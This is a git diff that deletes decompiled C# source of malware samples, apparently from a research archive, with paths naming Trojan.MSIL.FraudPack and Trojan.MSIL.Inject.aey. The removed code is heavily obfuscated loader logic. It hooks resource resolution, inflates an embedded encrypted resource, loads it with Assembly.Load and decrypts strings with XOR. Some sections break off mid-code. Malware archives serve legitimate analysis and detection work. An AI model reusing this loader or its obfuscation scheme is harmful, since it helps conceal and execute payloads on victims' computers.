[MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0005).Assembly || !\u000E.\u0002() ? -1509110933 : \u000E.\u0003.\u0005(\u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0005)), \u000E.\u0002(typeof (\u000E.\u000F)))), \u000E.\u0002\u2000.\u0002()); - } - - private sealed class \u0006 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0006).Assembly || !\u000E.\u0002() ? -82806859 : \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0008)), \u000E.\u0002(typeof (\u000E.\u000E)) ^ \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0002\u2000)), \u000E.\u000E.\u0002()))); - } - - private sealed class \u0008 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0008).Assembly || !\u000E.\u0002() ? 1294352278 : \u000E.\u0003.\u0005(\u000E.\u0003.\u0002(\u000E.\u0006.\u0002() ^ -~~--~-~~-527758445, \u000E.\u0002(typeof (\u000E.\u000E))), \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0005)) ^ \u000E.\u0002(typeof (\u000E.\u0002\u2000)), -~~-~-~--~~-520760563)); - } - - private sealed class \u000E - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u000E).Assembly || !\u000E.\u0002() ? 402344241 : \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u000E)), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0005)), \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0008)), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0002(typeof (\u000E.\u0002\u2000))))))); - } - - private sealed class \u000F - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u000F).Assembly || !\u000E.\u0002() ? -56237163 : \u000E.\u0003.\u0003(\u000E.\u0003.\u0003(\u000E.\u0008.\u0002(), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0006.\u0002())), \u000E.\u0002(typeof (\u000E.\u0002\u2000))); - } - - private sealed class \u0002\u2000 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002\u2000).Assembly || !\u000E.\u0002() ? 1106695601 : \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0002\u2000)), \u000E.\u0003.\u0005(\u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0002(typeof (\u000E.\u0005))), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0008)) ^ -~~-~-~-~-~523414304, \u000E.\u000F.\u0002()))); - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/          ​   b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/          ​   deleted file mode 100644 index 9a212110..00000000 Binary files a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/          ​   and /dev/null differ diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.csproj deleted file mode 100644 index 23b1954f..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {E533FF14-6877-47A8-A601-2EAD4BE6E46A} - WinExe - Monkey - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.sln deleted file mode 100644 index 9a15531c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Monkey", "Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.csproj", "{E533FF14-6877-47A8-A601-2EAD4BE6E46A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E533FF14-6877-47A8-A601-2EAD4BE6E46A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E533FF14-6877-47A8-A601-2EAD4BE6E46A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E533FF14-6877-47A8-A601-2EAD4BE6E46A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E533FF14-6877-47A8-A601-2EAD4BE6E46A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/_003C.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/_003C.cs deleted file mode 100644 index 5cbb80a1..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/_003C.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: < -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -internal sealed class \u003C -{ -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 59a3ab6b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; - -[StandardModule] -internal sealed class \uE000 -{ - static \uE000() => \uE008.\uE000(); - - [STAThread] - public static void Main() - { - Assembly assembly = (Assembly) Assembly.Load(.\uE004).GetType(.\uE002 + .\uE007 + .\uE003).GetMethod(.\uE005).Invoke((object) .\uE006, new object[0]); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 4c21cb80..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,498 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.IO; -using System.Reflection; -using System.Threading; - -internal sealed class \uE008 -{ - private static Assembly \uE000; - private static object \uE001 = new object(); - private static int \uE002; - private static string[] \uE003; - - public static void \uE000() - { - if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) - return; - try - { - Monitor.Enter(\uE008.\uE001); - if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) - return; -label_19: - int num1 = -226195680; - int num2 = -561798657; -label_3: - while (true) - { - num2 ^= 555203725; -label_11: - int num3 = 968784119; - int num4 = -376123481; -label_5: - while (true) - { - num4 ^= 370221929; -label_7: - int num5 = 169643759; - while (true) - { - switch (num5 ^ 170977803) - { - case 2909411: -label_8: - num4 = -376123484; - num5 = 169643758; - continue; - case 2909412: - switch (num4 + 8000308) - { - case 0: - goto label_11; - case 1: - switch (num3) - { - case 1949493: -label_14: - num2 = -561798659; - num3 = 968784118; - goto label_4; - case 1949494: - switch (num2 + 7070352) - { - case 0: - switch (num1 + 5290868) - { - case 0: - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\uE008.\uE001); - num1 = -226195679; - goto label_2; - case 1: - goto label_22; - default: - goto label_18; - } - case 1: - goto label_19; - case 2: -label_2: - num1 ^= 220971948; - goto label_14; - default: - num3 = 968784116; - goto label_4; - } - case 1949495: - goto label_3; - default: - goto label_13; - } - case 2: -label_4: - num3 ^= 967034817; - goto label_8; - default: - num5 = 169643752; - continue; - } - case 2909413: - goto label_5; - default: - goto label_7; - } - } -label_13: - num4 = -376123483; - } -label_18: - num2 = -561798660; - } -label_22: - \uE008.\uE002 = 1; - } - finally - { - Monitor.Exit(\uE008.\uE001); - } - } - - public static string \uE000 => "ed404015d077ea06"; - - public static Assembly \uE001(object _param0, ResolveEventArgs _param1) - { - if ((\uE008.\uE003 == null ? 0 : 1) == 0) - { - try - { - Monitor.Enter(\uE008.\uE001); - if ((\uE008.\uE003 == null ? 0 : 1) == 0) - { -label_15: - int num1 = 1319863694; - int num2 = -1247360233; -label_3: - Stream manifestResourceStream; - while (true) - { - num2 ^= 1242423639; -label_7: - int num3 = 1536961512; - int num4 = -942752411; - while (true) - { - switch ((num4 ^ 946906395) + 4319108) - { - case 0: - goto label_7; - case 1: - switch (num3) - { - case 2222797: -label_10: - num2 = -1247360152; - num3 = 1536961513; - goto label_4; - case 2222798: - switch (num2 + 5559746) - { - case 0: - goto label_15; - case 1: - switch (num1) - { - case 3571212: - manifestResourceStream = typeof (\uE008).Assembly.GetManifestResourceStream(\uE008.\uE000); - num1 = 1319863695; - goto label_2; - case 3571213: - if (manifestResourceStream != null) - { - num1 = 1319863692; - goto label_2; - } - else - goto label_22; - case 3571214: - goto label_21; - default: - goto label_17; - } - case 2: -label_2: - num1 ^= 1318976386; - goto label_10; - default: -label_13: - int num5 = 357788384; - while (true) - { - switch (num5 ^ 357216823) - { - case 1693911: - num3 = 1536961515; - num5 = 357788399; - continue; - case 1693912: - goto label_4; - default: - goto label_13; - } - } - } - case 2222799: - goto label_3; - default: - num4 = -942752409; - continue; - } - case 2: -label_4: - num3 ^= 1539162406; - break; - } - num4 = -942752410; - } -label_17: - num2 = -1247360151; - } -label_21: - int num6 = 0; - goto label_23; -label_22: - num6 = 1; -label_23: - if (num6 == 0) - \uE008.\uE000 = \uE008.\uE002(manifestResourceStream); - } - } - finally - { - Monitor.Exit(\uE008.\uE001); - } - } - return (!\uE008.\uE003(_param1.Name) ? 1 : 0) == 0 ? \uE008.\uE000 : (Assembly) null; - } - - private static Assembly \uE002(Stream _param0) - { - MemoryStream input = \uE010.\uE000(_param0); - BinaryReader binaryReader = new BinaryReader((Stream) input); -label_2: - int num1 = -976949257; - int length; - int index; - string[] strArray; - while (true) - { - switch ((num1 ^ 979141528) + 6787986) - { - case 0: - strArray = new string[length]; - num1 = -976949272; - continue; - case 1: - length = binaryReader.ReadInt32(); - num1 = -976949258; - continue; - case 2: - index = 0; - num1 = -976949271; - continue; - case 3: - if (index != 0) - { - num1 = -976949270; - continue; - } - goto label_9; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num2 = 0; - goto label_10; -label_9: - num2 = 1; -label_10: - if (num2 != 0) - goto label_12; -label_11: - strArray[index] = binaryReader.ReadString(); - ++index; -label_12: - if ((index >= length ? 0 : 1) == 0) - { - \uE008.\uE003 = strArray; -label_25: - int num3 = -143477510; - int num4 = -1430655755; -label_15: - byte[] numArray; - while (true) - { - num4 ^= 1426872453; -label_19: - int num5 = -80790779; - int num6 = -1051659499; - while (true) - { - switch ((num6 ^ 1053901982) + 8276087) - { - case 0: - goto label_19; - case 1: - switch (num5 + 7895701) - { - case 0: -label_22: - num4 = -1430655766; - num5 = -80790780; - goto label_16; - case 1: - switch (num4 + 4869010) - { - case 0: - goto label_25; - case 1: - int count; - switch (num3 + 4299732) - { - case 0: - numArray = new byte[count]; - num3 = -143477511; - goto label_14; - case 1: - binaryReader.Read(numArray, 0, count); - num3 = -143477509; - goto label_14; - case 2: - count = (int) (input.Length - input.Position); - num3 = -143477512; - goto label_14; - case 3: - goto label_31; - default: - goto label_27; - } - case 2: -label_14: - num3 ^= 147640532; - goto label_22; - default: - num5 = -80790782; - goto label_16; - } - case 2: - goto label_15; - default: - num6 = -1051659497; - continue; - } - case 2: -label_16: - num5 ^= 78167657; - break; - } - num6 = -1051659500; - } -label_27: - num4 = -1430655765; - } -label_31: - return Assembly.Load(numArray); - } - goto label_11; - } - - private static bool \uE003(string _param0) - { - if ((\uE008.\uE003 == null ? 1 : 0) == 0) - { -label_6: - int num1 = 1477415917; - int num2 = 601725783; - int index; - string[] strArray; - while (true) - { - switch (num2 ^ 602759493) - { - case 3209744: - switch (num1) - { - case 3757452: - if (index != 0) - { - num1 = 1477415916; - goto label_1; - } - else - goto label_12; - case 3757453: - index = 0; - num1 = 1477415919; - goto label_1; - case 3757454: - strArray = \uE008.\uE003; - num1 = 1477415918; - goto label_1; - case 3757455: - goto label_11; - default: - num2 = 601725780; - continue; - } - case 3209745: - goto label_6; - case 3209746: -label_1: - num1 ^= 1479984739; - break; - } - num2 = 601725781; - } -label_11: - int num3 = 0; - goto label_13; -label_12: - num3 = 1; -label_13: - if (num3 != 0) - goto label_27; -label_14: - string str = strArray[index]; - if ((!_param0.Equals(str) ? 1 : 0) == 0) - { -label_22: - int num4 = -311275153; - int num5 = 878119074; -label_16: - bool flag; - while (true) - { - num5 ^= 880632524; -label_18: - int num6 = -433645422; - while (true) - { - switch ((num6 ^ 431101690) + 7008665) - { - case 0: -label_19: - num5 = 878119073; - num6 = -433645421; - continue; - case 1: - switch (num5) - { - case 2779756: - goto label_22; - case 2779757: - switch (num4 + 4671099) - { - case 0: - flag = true; - num4 = -311275156; - goto label_15; - case 1: - goto label_29; - default: - goto label_24; - } - case 2779758: -label_15: - num4 ^= 315287786; - goto label_19; - default: - num6 = -433645411; - continue; - } - case 2: - goto label_16; - default: - goto label_18; - } - } -label_24: - num5 = 878119072; - } -label_29: - return flag; - } - ++index; -label_27: - if ((index >= strArray.Length ? 0 : 1) != 0) - goto label_14; - } - return false; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 1b6ca596..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System.IO; -using System.Reflection; - -internal sealed class \uE009 -{ - public static string \uE000(string _param0, int _param1) => string.Intern(\uE009.\uE000.\uE000.\uE000(_param0, _param1)); - - public static string \uE000 => "84785c03fc20bf7c"; - - private sealed class \uE000 - { - public static readonly \uE009.\uE000 \uE000; - private byte[] \uE001; - - static \uE000() - { - \uE008.\uE000(); - \uE009.\uE000.\uE000 = new \uE009.\uE000(); - } - - private \uE000() - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\uE009.\uE000); - if (manifestResourceStream == null) - return; - this.\uE001 = new byte[256]; - manifestResourceStream.Read(this.\uE001, 0, this.\uE001.Length); - } - - public string \uE000(string _param1, int _param2) - { - int length = _param1.Length; - int index = _param2 & (int) byte.MaxValue; - char[] charArray = _param1.ToCharArray(); - while (--length >= 0) - charArray[length] = (char) ((uint) charArray[length] ^ ((uint) this.\uE001[index] | (uint) _param2)); - return string.Intern(new string(charArray)); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 5726c9b8..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,1058 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.Collections; - -internal sealed class \uE00A -{ - internal const int \uE000 = 32768; - internal const int \uE001 = 258; - internal const int \uE002 = 285; - internal const int \uE003 = 287; - internal const int \uE004 = 29; - internal const int \uE005 = 31; - internal const int \uE006 = 15; - internal const int \uE007 = 256; - internal const int \uE008 = 0; - internal const int \uE009 = 1; - internal const int \uE00A = 2; - internal const int \uE00B = 16; - internal const int \uE00C = 18; - internal const int \uE00D = 16; - internal const int \uE00E = 17; - internal const int \uE00F = 18; - private const int \uE010 = 257; - internal static \uE00B[] \uE011 = new \uE00B[288]; - internal static \uE00B[] \uE012; - internal static \uE00D \uE013; - internal static readonly int[] \uE014; - internal static readonly int[] \uE015; - internal static readonly int[] \uE016; - internal static readonly int[] \uE017; - internal static readonly int[] \uE018; - - static \uE00A() - { -label_2: - int num1 = 46; - int num2; - int index1; - while (true) - { - switch (num1) - { - case 0: - \uE00A.\uE015 = new int[29]; - num1 = 53; - continue; - case 1: - if (num2 != 0) - { - num1 = 54; - continue; - } - goto label_59; - case 2: - \uE00A.\uE015[12] = 19; - num1 = 29; - continue; - case 3: - \uE00A.\uE015[20] = 67; - num1 = 24; - continue; - case 4: - \uE00A.\uE014[17] = 1; - num1 = 36; - continue; - case 5: - \uE00A.\uE014[10] = 11; - num1 = 14; - continue; - case 6: - index1 = 8; - num1 = 40; - continue; - case 7: - \uE00A.\uE015[23] = 115; - num1 = 38; - continue; - case 8: - \uE00A.\uE014[15] = 2; - num1 = 25; - continue; - case 9: - \uE00A.\uE015[25] = 163; - num1 = 10; - continue; - case 10: - \uE00A.\uE015[26] = 195; - num1 = 35; - continue; - case 11: - \uE00A.\uE015[11] = 17; - num1 = 2; - continue; - case 12: - \uE00A.\uE014[8] = 10; - num1 = 30; - continue; - case 13: - \uE00A.\uE015[22] = 99; - num1 = 7; - continue; - case 14: - \uE00A.\uE014[11] = 4; - num1 = 22; - continue; - case 15: - \uE00A.\uE016 = new int[29]; - num1 = 6; - continue; - case 16: - \uE00A.\uE015[17] = 43; - num1 = 41; - continue; - case 17: - \uE00A.\uE014[1] = 17; - num1 = 43; - continue; - case 18: - \uE00A.\uE015[6] = 9; - num1 = 42; - continue; - case 19: - \uE00A.\uE014[14] = 13; - num1 = 8; - continue; - case 20: - \uE00A.\uE014[5] = 7; - num1 = 50; - continue; - case 21: - \uE00A.\uE015[15] = 31; - num1 = 51; - continue; - case 22: - \uE00A.\uE014[12] = 12; - num1 = 44; - continue; - case 23: - \uE00A.\uE014[7] = 6; - num1 = 12; - continue; - case 24: - \uE00A.\uE015[21] = 83; - num1 = 13; - continue; - case 25: - \uE00A.\uE014[16] = 14; - num1 = 4; - continue; - case 26: - \uE00A.\uE015[2] = 5; - num1 = 47; - continue; - case 27: - \uE00A.\uE015[1] = 4; - num1 = 26; - continue; - case 28: - \uE00A.\uE015[8] = 11; - num1 = 48; - continue; - case 29: - \uE00A.\uE015[13] = 23; - num1 = 34; - continue; - case 30: - \uE00A.\uE014[9] = 5; - num1 = 5; - continue; - case 31: - \uE00A.\uE015[10] = 15; - num1 = 11; - continue; - case 32: - \uE00A.\uE015[4] = 7; - num1 = 49; - continue; - case 33: - \uE00A.\uE014[4] = 8; - num1 = 20; - continue; - case 34: - \uE00A.\uE015[14] = 27; - num1 = 21; - continue; - case 35: - \uE00A.\uE015[27] = 227; - num1 = 52; - continue; - case 36: - \uE00A.\uE014[18] = 15; - num1 = 0; - continue; - case 37: - \uE00A.\uE014 = new int[19]; - num1 = 45; - continue; - case 38: - \uE00A.\uE015[24] = 131; - num1 = 9; - continue; - case 39: - \uE00A.\uE015[19] = 59; - num1 = 3; - continue; - case 40: - num2 = 0; - num1 = 1; - continue; - case 41: - \uE00A.\uE015[18] = 51; - num1 = 39; - continue; - case 42: - \uE00A.\uE015[7] = 10; - num1 = 28; - continue; - case 43: - \uE00A.\uE014[2] = 18; - num1 = 33; - continue; - case 44: - \uE00A.\uE014[13] = 3; - num1 = 19; - continue; - case 45: - \uE00A.\uE014[0] = 16; - num1 = 17; - continue; - case 46: - \uE00A.\uE012 = new \uE00B[32]; - num1 = 37; - continue; - case 47: - \uE00A.\uE015[3] = 6; - num1 = 32; - continue; - case 48: - \uE00A.\uE015[9] = 13; - num1 = 31; - continue; - case 49: - \uE00A.\uE015[5] = 8; - num1 = 18; - continue; - case 50: - \uE00A.\uE014[6] = 9; - num1 = 23; - continue; - case 51: - \uE00A.\uE015[16] = 35; - num1 = 16; - continue; - case 52: - \uE00A.\uE015[28] = 258; - num1 = 15; - continue; - case 53: - \uE00A.\uE015[0] = 3; - num1 = 27; - continue; - case 54: - goto label_58; - default: - goto label_2; - } - } -label_58: - int num3 = 0; - goto label_60; -label_59: - num3 = 1; -label_60: - if (num3 != 0) - goto label_64; -label_61: - if (index1 % 4 == 0) - ++num2; - \uE00A.\uE016[index1] = num2; - ++index1; -label_64: - if (index1 >= 28) - { - \uE00A.\uE017 = new int[30]; - \uE00A.\uE017[0] = 1; - \uE00A.\uE017[1] = 2; - \uE00A.\uE017[2] = 3; - \uE00A.\uE017[3] = 4; - \uE00A.\uE017[4] = 5; - \uE00A.\uE017[5] = 7; - \uE00A.\uE017[6] = 9; - \uE00A.\uE017[7] = 13; - \uE00A.\uE017[8] = 17; - \uE00A.\uE017[9] = 25; - \uE00A.\uE017[10] = 33; - \uE00A.\uE017[11] = 49; - \uE00A.\uE017[12] = 65; - \uE00A.\uE017[13] = 97; - \uE00A.\uE017[14] = 129; - \uE00A.\uE017[15] = 193; - \uE00A.\uE017[16] = 257; - \uE00A.\uE017[17] = 385; - \uE00A.\uE017[18] = 513; - \uE00A.\uE017[19] = 769; - \uE00A.\uE017[20] = 1025; - \uE00A.\uE017[21] = 1537; - \uE00A.\uE017[22] = 2049; - \uE00A.\uE017[23] = 3073; - \uE00A.\uE017[24] = 4097; - \uE00A.\uE017[25] = 6145; - \uE00A.\uE017[26] = 8193; - \uE00A.\uE017[27] = 12289; - \uE00A.\uE017[28] = 16385; - \uE00A.\uE017[29] = 24577; - \uE00A.\uE018 = new int[30]; - int index2 = 4; - int num4 = 0; - for (; index2 < 30; ++index2) - { - if (index2 % 2 == 0) - ++num4; - \uE00A.\uE018[index2] = num4; - } - for (int index3 = 0; index3 <= 143; ++index3) - { - \uE00A.\uE011[index3].\uE000 = 48 + index3; - \uE00A.\uE011[index3].\uE001 = 8; - } - for (int index4 = 144; index4 <= (int) byte.MaxValue; ++index4) - { - \uE00A.\uE011[index4].\uE000 = 400 + index4 - 144; - \uE00A.\uE011[index4].\uE001 = 9; - } - for (int index5 = 256; index5 <= 279; ++index5) - { - \uE00A.\uE011[index5].\uE000 = index5 - 256; - \uE00A.\uE011[index5].\uE001 = 7; - } - for (int index6 = 280; index6 <= 287; ++index6) - { - \uE00A.\uE011[index6].\uE000 = 192 + index6 - 280; - \uE00A.\uE011[index6].\uE001 = 8; - } - for (int index7 = 0; index7 <= 31; ++index7) - { - \uE00A.\uE012[index7].\uE000 = index7; - \uE00A.\uE012[index7].\uE001 = 5; - } - \uE00A.\uE013 = \uE00A.\uE004(\uE00A.\uE011, \uE00A.\uE012); - } - else - goto label_61; - } - - internal static int \uE000(int[] _param0, int[] _param1) - { - int num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num2; - switch (num2) - { - case 0: - goto label_3; - case 1: - ++index; - goto label_5; - } -label_2: - num2 = 0; - goto label_1; -label_3: - num1 += _param0[index] * _param1[index]; - num2 = 1; - goto label_1; -label_5: - if (index >= _param0.Length) - return num1; - goto label_3; - } - - internal static int \uE001(int[] _param0, int[] _param1) - { - int num1 = 0; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num2; - switch (num2) - { - case 0: - goto label_3; - case 1: - ++index1; - goto label_5; - } -label_2: - num2 = 0; - goto label_1; -label_3: - num1 += _param0[index1] * \uE00A.\uE011[index1].\uE001; - num2 = 1; - goto label_1; -label_5: - if (index1 >= _param0.Length) - { - for (int index2 = 0; index2 < _param1.Length; ++index2) - num1 += _param1[index2] * \uE00A.\uE012[index2].\uE001; - return num1; - } - goto label_3; - } - - internal static \uE00B[] \uE002(int[] _param0) - { - \uE00B[] objArray = new \uE00B[_param0.Length]; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num; - switch (num) - { - case 0: - goto label_3; - case 1: - ++index; - goto label_5; - } -label_2: - num = 0; - goto label_1; -label_3: - objArray[index].\uE001 = _param0[index]; - num = 1; - goto label_1; -label_5: - if (index >= _param0.Length) - { - \uE00A.\uE003(objArray); - return objArray; - } - goto label_3; - } - - internal static void \uE003(\uE00B[] _param0) - { - int num1 = _param0[0].\uE001; - int index1 = 1; - if ((index1 == 0 ? 0 : 1) != 0) - goto label_4; -label_1: - if (num1 < _param0[index1].\uE001) - num1 = _param0[index1].\uE001; - ++index1; -label_4: - if (index1 >= _param0.Length) - { - int[] numArray1 = new int[num1 + 1]; - for (int index2 = 0; index2 < _param0.Length; ++index2) - ++numArray1[_param0[index2].\uE001]; - int[] numArray2 = new int[num1 + 1]; -label_10: - int 